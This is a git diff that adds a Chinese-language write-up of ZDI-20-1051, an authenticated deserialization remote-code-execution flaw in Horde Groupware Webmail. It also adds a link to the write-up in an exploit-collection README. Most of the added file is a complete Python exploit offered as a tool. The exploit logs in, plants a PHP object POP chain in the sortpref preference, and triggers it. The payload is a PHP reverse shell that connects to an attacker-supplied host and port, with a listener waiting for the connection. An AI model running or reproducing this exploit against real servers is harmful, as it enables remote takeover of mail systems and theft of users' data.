diff --git a/README.md b/README.md index 92d8cb8..dafc76a 100644 --- a/README.md +++ b/README.md @@ -179,6 +179,7 @@ - [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) - [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf) - [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163) +- [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md) ## 提权辅助相关 diff --git a/【0day RCE】Horde Groupware Webmail Edition RCE.md b/【0day RCE】Horde Groupware Webmail Edition RCE.md new file mode 100644 index 0000000..87fe691 --- /dev/null +++ b/【0day RCE】Horde Groupware Webmail Edition RCE.md @@ -0,0 +1,204 @@ +# 0x00 简介 + +Horde Groupware Webmail是美国Horde公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。 + + + +# 0x01 漏洞详情 + + + +ZDI-20-1051 + +ZDI-CAN-10436 + + + +此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。 + + + +具体缺陷存在于Sort.php中。解析sortpref参数时,该过程无法正确验证用户提供的数据,这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。 + + + +# 0x02 利用工具 + +```python +import re +import sys +import socket +import requests +import telnetlib +import base64 +from threading import Thread + +def rs(cbh, cbp): + return """@error_reporting(-1); +@set_time_limit(0); +@ignore_user_abort(1); +$dis=@ini_get('disable_functions'); +if(!empty($dis)){ + $dis=preg_replace('/[, ]+/', ',', $dis); + $dis=explode(',', $dis); + $dis=array_map('trim', $dis); +}else{ + $dis=array(); +} +$ipaddr='%s'; +$port=%d; +function PtdSlhY($c){ + global $dis; + if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { + $c=$c." 2>&1\\n"; + } + ob_start(); + system($c); + $o=ob_get_contents(); + ob_end_clean(); + if (strlen($o) === 0){ + $o = "NULL"; + } + return $o; +} +$nofuncs='no exec functions'; +$s=@fsockopen("tcp://$ipaddr",$port); +while($c=fread($s,2048)){ + $out = ''; + if(substr($c,0,3) == 'cd '){ + chdir(substr($c,3,-1)); + }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { + break; + }else{ + $out=PtdSlhY(substr($c,0,-1)); + if($out===false){ + fwrite($s, $nofuncs); + break; + } + } + fwrite($s,$out); +} +fclose($s);""" % (cbh, cbp) + +def get_session(t, p, usr, pwd): + uri = "http://%s%slogin.php" % (t, p) + p = { + "login_post" : 1337, + "horde_user" : usr, + "horde_pass" : pwd + } + r = requests.post(uri, data=p, allow_redirects=False) + match = re.findall("Horde=(.{26});", r.headers['set-cookie']) + assert len(match) == 2, "(-) failed to login" + return match[1] + +def trigger_deserialization(t, p, s, host, port): + """ Object instantiation to reach the deserialization """ + handlerthr = Thread(target=handler, args=(port,)) + handlerthr.start() + uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p) + p = { + "imple" : "IMP_Prefs_Sort", + "app" : "imp", + } + h = { "cmd" : base64.b64encode(rs(host, port).encode()) } + c = { "Horde" : s } + r = requests.get(uri, params=p, cookies=c, headers=h) + match = re.search("horde_logout_token=(.*)&", r.text) + assert match, "(-) failed to leak the horde_logout_token!" + p['token'] = match.group(1) + r = requests.get(uri, params=p, cookies=c, headers=h) + assert r.status_code == 200, "(-) failed to trigger deserialization!" + +def get_pop(): + """ An updated pop chain """ + pop = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{' + pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{' + pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{' + pop += 'S:8:"\\00*\\00_opts";a:1:{' + pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{' + pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";' + pop += '}i:1;s:13:"readXMLConfig";}}' + pop += 'S:10:"\\00*\\00_scopes";a:1:{' + pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}' # implements Serializable using custom unserialize/serialize + pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}' + pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}' # additional checks + pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}' + return pop + +def get_patch(): + """ Our original array """ + patch = 'a:1:{' + patch += 's:5:"INBOX";a:1:{' + patch += 's:1:"b";i:6;' + patch += '}}' + return patch + +def set_pref(t, p, s, k, o): + """ A primitive that inserts a string into the database """ + uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p) + p = { + "pref" : k, + "value" : o, + } + c = { "Horde" : s } + r = requests.get(uri, params=p, cookies=c) + match = re.search("horde_logout_token=(.*)&", r.text) + assert match, "(-) failed to leak the horde_logout_token!" + p['token'] = match.group(1) + r = requests.get(uri, params=p, cookies=c) + assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!" + +def handler(lport): + print("(+) starting handler on port %d" % lport) + t = telnetlib.Telnet() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(("0.0.0.0", lport)) + s.listen(1) + conn, addr = s.accept() + print("(+) connection from %s" % addr[0]) + t.sock = conn + print("(+) pop thy shell!") + t.interact() + +def fix_path(p): + if p == "/": + return p + if not p.startswith("/"): + p = "/%s" % p + if not p.endswith("/"): + p = "%s/" % p + return p + +def main(): + if len(sys.argv) < 5: + print("(+) usage %s " % sys.argv[0]) + print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0]) + sys.exit(0) + target = sys.argv[1] + path = fix_path(sys.argv[2]) + user = sys.argv[3].split(":")[0] + pswd = sys.argv[3].split(":")[1] + host = sys.argv[4].split(":")[0] + port = int(sys.argv[4].split(":")[1]) + print("(+) targeting http://%s%s" % (target, path)) + session = get_session(target, path, user, pswd) + print("(+) obtained session %s" % session) + set_pref(target, path, session, 'sortpref', get_pop()) + print("(+) inserted our php object") + print("(+) triggering deserialization...") + trigger_deserialization(target, path, session, host, port) + set_pref(target, path, session, 'sortpref', get_patch()) + print("(+) repaired the target!") + +if __name__ == "__main__": + main() +``` + +# 0x03 references + + + +https://www.zerodayinitiative.com/advisories/ZDI-20-1051/ + +https://srcincite.io/pocs/zdi-20-1051.py.txt \ No newline at end of file